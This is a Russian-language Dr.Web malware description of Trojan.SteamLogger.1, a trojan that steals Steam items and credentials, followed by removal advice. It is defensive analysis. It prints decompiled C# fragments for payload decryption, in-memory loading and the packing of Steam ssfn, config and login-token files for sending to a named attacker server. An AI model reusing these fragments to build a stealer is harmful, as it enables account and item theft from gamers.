Підтримка
Цілодобова підтримка | Правила звернення

Зателефонуйте

Глобальна підтримка:
+7 (495) 789-45-86

Поширені запитання |  Форум |  Бот самопідтримки Telegram

Ваші запити

  • Всі: -
  • Незакриті: -
  • Останій: -

Зателефонуйте

Глобальна підтримка:
+7 (495) 789-45-86

Зв'яжіться з нами Незакриті запити: 

Профіль

Профіль

Trojan.SteamLogger.1

Добавлен в вирусную базу Dr.Web: 2014-10-24

Описание добавлено:

Вредоносная программа, предназначенная для хищения ценных игровых предметов, инвентаря и артефактов у пользователей игровой платформы Steam, преимущественно у поклонников игр Dota 2, Counter-Strike: Global Offensive и Team Fortress 2, однако может быть легко модифицирована для других игр. Обладает функциями кейлоггера (т. е. способна фиксировать и передавать злоумышленникам нажатия клавиш на инфицированном компьютере).

Троянец состоит из трех функциональных модулей: дроппера, сервисного и основного модулей. В момент запуска на инфицированном компьютере дроппер Trojan.SteamLogger.1 расшифровывает из своих ресурсов основной и сервисный модули. Расшифровка выполняется в два этапа:

  1. Чтение образа в память с небольшим преобразованием:
    public static byte[] D(byte[] text)
    {
        byte[] array = new byte[text.Length];
        for (int i = 0; i < text.Length; i++)
        {
            array[i] = Convert.ToByte((int)text[i] - i - 27);
        }
        return array;
    }
    
  2. Расшифровка с использованием алгоритма AES:
    private static byte[] code = new byte[]  //AES key
    {
        149, 133, 127, 135, 145, 135, 134, 144, 147, 141, 159, 138, 136
    };
     
    public byte[] SymmetricDecrypt(byte[] input, byte[] key)
    {
        byte[] result;
        using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
        {
            rijndaelManaged.BlockSize = 128;
            rijndaelManaged.KeySize = 256;
            byte[] array = new byte[16];
            byte[] rgbIV = new byte[array.Length];
            Array.Copy(input, 0, array, 0, array.Length);
            byte[] array2 = new byte[input.Length - array.Length];
            Array.Copy(input, array.Length, array2, 0, array2.Length);
            rijndaelManaged.Mode = CipherMode.ECB;
            rijndaelManaged.Padding = PaddingMode.None;
            using (ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor(key,
               null))
            {
                rgbIV = cryptoTransform.TransformFinalBlock(array, 0, array.Length);
            }
            rijndaelManaged.Mode = CipherMode.CBC;
            rijndaelManaged.Padding = PaddingMode.PKCS7;
            using (ICryptoTransform cryptoTransform2 = rijndaelManaged.CreateDecryptor(key, 
                rgbIV))
            {
                using (MemoryStream memoryStream = new MemoryStream(array2))
                {
                    using (CryptoStream cryptoStream = new CryptoStream(memoryStream, 
                     cryptoTransform2, CryptoStreamMode.Read))
                    {
                        byte[] array3 = new byte[array2.Length];
                        int num = cryptoStream.Read(array3, 0, array3.Length);
                        byte[] array4 = new byte[num];
                        Array.Copy(array3, 0, array4, 0, num);
                        result = array4;
                    }
                }
            }
        }
        return result;
    }
    

После завершения расшифровки дроппер сохраняет сервисный модуль в папку %TEMP% под именем Update.exe и запускает его, основной модуль загружается в память с использованием метода Assembly.Load():

Assembly assembly = Assembly.Load(array);
program.Invoke(assembly, assembly.EntryPoint);

Затем вредоносная программа загружает с сайта hxxp://keys-trade.ru/trade/?image= графический файл и сохраняет его на инфицированном компьютере в папку %TEMP% под именем %process_name%.jpg, после чего сразу же выводит его на экран:

screen

Сервисный модуль выполняет проверку наличия папки %ProgramFiles%"+ " (x86)\Common Files\Steam\ и в случае отсутствия таковой создает ее. Создает в указанной папке собственную копию с именем SteamService.exe и атрибутами «системный» и «скрытый», после чего вносит изменения в ключ системного реестра HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, отвечающий за автозагрузку приложений, и запускает оттуда сервисный модуль на исполнение.

Загрузившись на инфицированном компьютере, сервисный модуль отправляет запрос по методу POST на принадлежащий злоумышленникам управляющий сервер (hxxp://keys-trade.ru/bot/check="), и, если не получает ответ «ОК», пытается соединиться с командным центром через один из прокси-серверов, список которых хранится в теле троянца.

На командный сервер hxxp://keys-trade.ru/bot/ троянец передает сведения об инфицированном компьютере, такие как версия операционной системы, ее разрядность, а также уникальный идентификатор вредоносной программы, вычисляемый на основе серийного номера жесткого диска, на котором располагается логический раздел С. Также с интервалом в 50 минут троянец посылает на данный сервер POST-запрос, и в случае получения команды download загружает и устанавливает в систему обновленную версию сервисного модуля, заменяя хранящийся в папке %TEMP%\Update.exe исполняемый файл.

Основной модуль троянца при запуске проверяет доступность управляющего сервера, после чего по завершении инициализации ищет в памяти зараженного компьютера процесс с именем Steam и проверяет, вошел ли пользователь в свою учетную запись. Если нет, вредоносная программа ожидает момента авторизации игрока, затем извлекает информацию об аккаунте пользователя Steam (наличие SteamGuard, steam-id, security token) и передает эти данные злоумышленникам. Затем троянец ожидает получения строки, содержащей данные для последующей передачи похищенных игровых предметов, строка имеет вид:

steam-id,partner,token|steam-id,partner,token|...

где steam-id, partner, token - параметры для совершения trade-запроса.

После этого троянец ищет в папке Steam файлы по маске "ssfn*" и формирует из них строку:

ssfn_filename_1|ssfn_file1_data||ssfn_filename_2|ssfn_file2_data||...

извлекает все содержимое файлов, хранящихся в папке config\ приложения Steam и формирует из этих данных такую же строку, которую дописывает ее к уже имеющейся, заменяя в содержимом файлов знаки "-" на "". Затем в конец получившейся строки дописываются данные об аккаунте жертвы, после чего строка шифруется с использованием алгоритма BASE64:

text = text + "steamLogin.txt|" + this.ToStrByte(this._token) + "||";
text = text + "steamLoginSecure.txt|" + this.ToStrByte(this._login_secure) + "||";
string text6 = text;
text = string.Concat(new string[]
{
    text6,
    "steamMachineAuth",
    this._steam_id,
    ".txt|",
    this.ToStrByte(this._machine_auth)
});
byte[] inArray = this.Compress(Encoding.UTF8.GetBytes(text));
text = "steam_id=" + this._steam_id + "&receive=" + Convert.ToBase64String(inArray);

Вредоносная программа получает c управляющего сервера список учетных записей, на которые могут быть переданы игровые предметы с аккаунта жертвы. Всю собранную информацию троянец отправляет на сервер злоумышленников, затем проверяет, включена ли в настройках Steam автоматическая авторизация, и, если она отключена, в отдельном потоке запускает кейлоггер — собранные с его помощью данные пересылаются на управляющий сервер с интервалом в 15 секунд.

Для кражи предметов из инвентаря жертвы выбираются только артефакты, попадающие под следующие фильтры:


private static int[] games = new int[]
{
    570,
    730,
    440
};
string[] source = new string[]
{
    "Mythical",
    "Legendary",
    "Arcana",
    "Immortal"
};
string[] source2 = new string[]
{
    "DOTA_WearableType_Treasure_Key"
};
string[] source3 = new string[]
{
    "Container",
    "Supply Crate"
};

Фильтруется инвентарь для игр Dota 2, Counter-Strike: Global Offensive и Team Fortress 2. То есть, вредоносная программа пытается похитить наиболее ценные игровые предметы, ключи от сундуков и сами сундуки. При этом Trojan.SteamLogger.1 внимательно следит за тем, не пытается ли игрок продать что-либо из виртуальных предметов самостоятельно, и в случае обнаружения такой попытки старается воспрепятствовать этому, автоматически снимая артефакты с продажи. Похищенные предметы передаются на один из игровых аккаунтов злоумышленников.

Для реализации ключей от сундуков из игры Dota 2 кибепреступники создали специальный интернет-магазин:

screen

screen

Новость об угрозе

Рекомендации по лечению

  1. В случае если операционная система способна загрузиться (в штатном режиме или режиме защиты от сбоев), скачайте лечащую утилиту Dr.Web CureIt! и выполните с ее помощью полную проверку вашего компьютера, а также используемых вами переносных носителей информации.
  2. Если загрузка операционной системы невозможна, измените настройки BIOS вашего компьютера, чтобы обеспечить возможность загрузки ПК с компакт-диска или USB-накопителя. Скачайте образ аварийного диска восстановления системы Dr.Web® LiveDisk или утилиту записи Dr.Web® LiveDisk на USB-накопитель, подготовьте соответствующий носитель. Загрузив компьютер с использованием данного носителя, выполните его полную проверку и лечение обнаруженных угроз.
Скачать Dr.Web

По серийному номеру

Выполните полную проверку системы с использованием Антивируса Dr.Web Light для macOS. Данный продукт можно загрузить с официального сайта Apple App Store.

На загруженной ОС выполните полную проверку всех дисковых разделов с использованием продукта Антивирус Dr.Web для Linux.

Скачать Dr.Web

По серийному номеру

  1. Если мобильное устройство функционирует в штатном режиме, загрузите и установите на него бесплатный антивирусный продукт Dr.Web для Android Light. Выполните полную проверку системы и используйте рекомендации по нейтрализации обнаруженных угроз.
  2. Если мобильное устройство заблокировано троянцем-вымогателем семейства Android.Locker (на экране отображается обвинение в нарушении закона, требование выплаты определенной денежной суммы или иное сообщение, мешающее нормальной работе с устройством), выполните следующие действия:
    • загрузите свой смартфон или планшет в безопасном режиме (в зависимости от версии операционной системы и особенностей конкретного мобильного устройства эта процедура может быть выполнена различными способами; обратитесь за уточнением к инструкции, поставляемой вместе с приобретенным аппаратом, или напрямую к его производителю);
    • после активации безопасного режима установите на зараженное устройство бесплатный антивирусный продукт Dr.Web для Android Light и произведите полную проверку системы, выполнив рекомендации по нейтрализации обнаруженных угроз;
    • выключите устройство и включите его в обычном режиме.

Подробнее о Dr.Web для Android

Демо бесплатно на 14 дней

Выдаётся при установке